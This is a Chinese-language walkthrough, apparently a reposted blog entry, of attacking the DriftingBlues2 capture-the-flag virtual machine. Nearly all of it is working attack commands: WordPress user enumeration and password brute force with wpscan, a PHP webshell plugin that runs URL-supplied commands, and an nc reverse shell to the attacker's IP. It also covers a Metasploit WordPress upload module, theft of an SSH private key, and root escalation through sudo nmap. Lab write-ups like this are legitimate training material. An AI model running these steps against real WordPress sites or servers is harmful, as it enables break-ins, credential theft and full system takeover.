攻击者ip:192.168.56.108 桥接(自动) vmare
受害者ip:192.168.56.124 仅主机 vxbox
主机发现
arp-scan -l
nmap -p- -sV
发现21端口ftp
尝试匿名登录
name:anonymous
password:空密码,直接回车
发现一个图片,下载到本地
没藏东西
访问web页面
扫描目录,可看出来这是wp博客后台
dirb http://192.168.56.124
使用wpscan枚举用户
wpscan --url http://192.168.56.124/blog -e u
albert
使用cewl爬取暴力破解的字典
cewl http://192.168.56.124/blog > pwd.txt
密码爆破
wpscan --url http://192.168.56.124/blog/ -U albert -P /root/MidPwds.txt
albert / scotland1
wpscan --url http://driftingblues.box/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames albert #如果是第一次使用这个字典文件进行爆破的话,需要先对这个字典文件进行解压,因为它是一个压缩包
该host文件
1.访问http://192.168.56.124/blog/wp-admin/失败
2.访问http://192.168.56.124/blog/readme.html的登陆跳转,是直接跳转到http://driftingblues.box/blog/wp-login.php
所以,改host文件
访问http://192.168.56.124/blog/wp-login.php
登录
albert / scotland1
先上一个xss
复制,粘贴,压缩,上传,
/** * Plugin Name:Webshell * Plugin URI:https//yuanfh.github.io * Description:WP Webshell for Pentest * Version:1.0 * Author:yuanfh * Author URI:https://yuanfh.github.io * License:https://yuanfh.github.io */if(isset($_GET['cmd'])){system($_GET['cmd']);}?>
上传插件
显示路径了
/var/www/html/blog/wp-content/plugins/shell-1/
命令执行,反弹shell
http://driftingblues.box/blog/wp-content/plugins/shell-1/shelll.php?cmd=whoami
nc -e /bin/bash 192.168.56.108 1111
反弹成功
优化shell
python -c 'import pty; pty.spawn("/bin/bash")'
反弹shell2
修改404文件
view-source:http://driftingblues.box/blog/wp-content/themes/twentytwentyone/404.php?cmd=id
应为有很多404.php,需要访问相对应的404.php文件才行
反弹shell3
使用msf获取shell
use exploit/unix/webapp/wp_admin_shell_upload 设置使用模块
show options 查看需要设置那些参数
set password scotland1set rhost 192.168.56.124set targeturi /blogset username albertset lhost 192.168.56.108run
列出所有可用的命令
compgen -c
查看数据库账号密码
wp_user/password
库名:wordpress
进入mysql
mysql -u wp_user -p
没找到啥东西
在home发现freddie里面的user.txt,没权限打开
发现隐藏文件夹.ssh,id_rsa是ssh密钥
复制id_rsa放到kali中chmod 400 id_rsa#修改权限,rsa需要400权限才可用ssh [email protected] -i id_rsa#使用rsa进行登入
拿到一个flag
sudo -l 列出目前用户可执行的指令
使用nmap提权
echo 'os.execute("/bin/sh")' > getshellsudo nmap --script=getshell
这时是看不见输入的,使用reset(能看见命令) + bash(能看见路径)即可
原文始发于微信公众号(王之暴龙战神):driftingblues2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论